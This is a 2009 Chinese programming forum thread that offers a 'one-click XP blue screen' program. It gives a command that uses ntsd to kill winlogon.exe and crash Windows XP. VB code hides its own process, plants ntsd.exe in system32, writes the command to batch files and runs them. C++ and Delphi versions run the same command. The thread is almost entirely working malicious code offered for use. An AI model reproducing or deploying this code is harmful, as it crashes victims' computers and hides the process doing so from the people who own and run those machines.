标题: 一键xp蓝屏程序(适合Xp Sp1/2/3) [打印本页]

---

作者: Nothing    时间: 2009-12-2 22:06     标题: 一键xp蓝屏程序(适合Xp Sp1/2/3)

cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul

VB程序，添加了进程屏蔽Module1.Bas,支持进程隐藏，本地生成．貌似卡巴10限制了shell．判别ntsd的位置，自动生成．

MsgBox "Fuck! .."
HideCurrentProcess
App.TaskVisible = False
On Error Resume Next
Dim APP1() As Byte
If Dir("c:\windows\system32\ntsd.exe") = "" Then
APP1 = LoadResData(101, "CUSTOM")
Open "c:\windows\system32\ntsd.exe" For Binary As #3
Put #3, , APP1
Close #3
End If
a = Text1.Text
Open "c:\windows\system32\spray.bat" For Output As #1
Print #1, a
Close #1
Open "d:\spray.bat" For Output As #2
Print #2, a
Close #2
Shell "c:\windows\system32\spray.bat"
Shell "d:\spray.bat"

---

作者: Nothing    时间: 2009-12-2 22:08     标题: VC++代码执行system调用：

#include<iostream>
int main()
{
system("cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul ");
system("cls");
}

---

作者: Nothing    时间: 2009-12-2 22:09     标题: delphi代码:

shellexecute(handle,nil,'cmd.exe',pchar(form1.edit1.text),nil,sw_normal);

edit,text=cmd /c start /min ntsd -c q -pn winlogon.exe   1>nul 2>nul

---

欢迎光临 编程开发论坛 (http://bbs.lihuasoft.net/)

Powered by Discuz! 6.0.0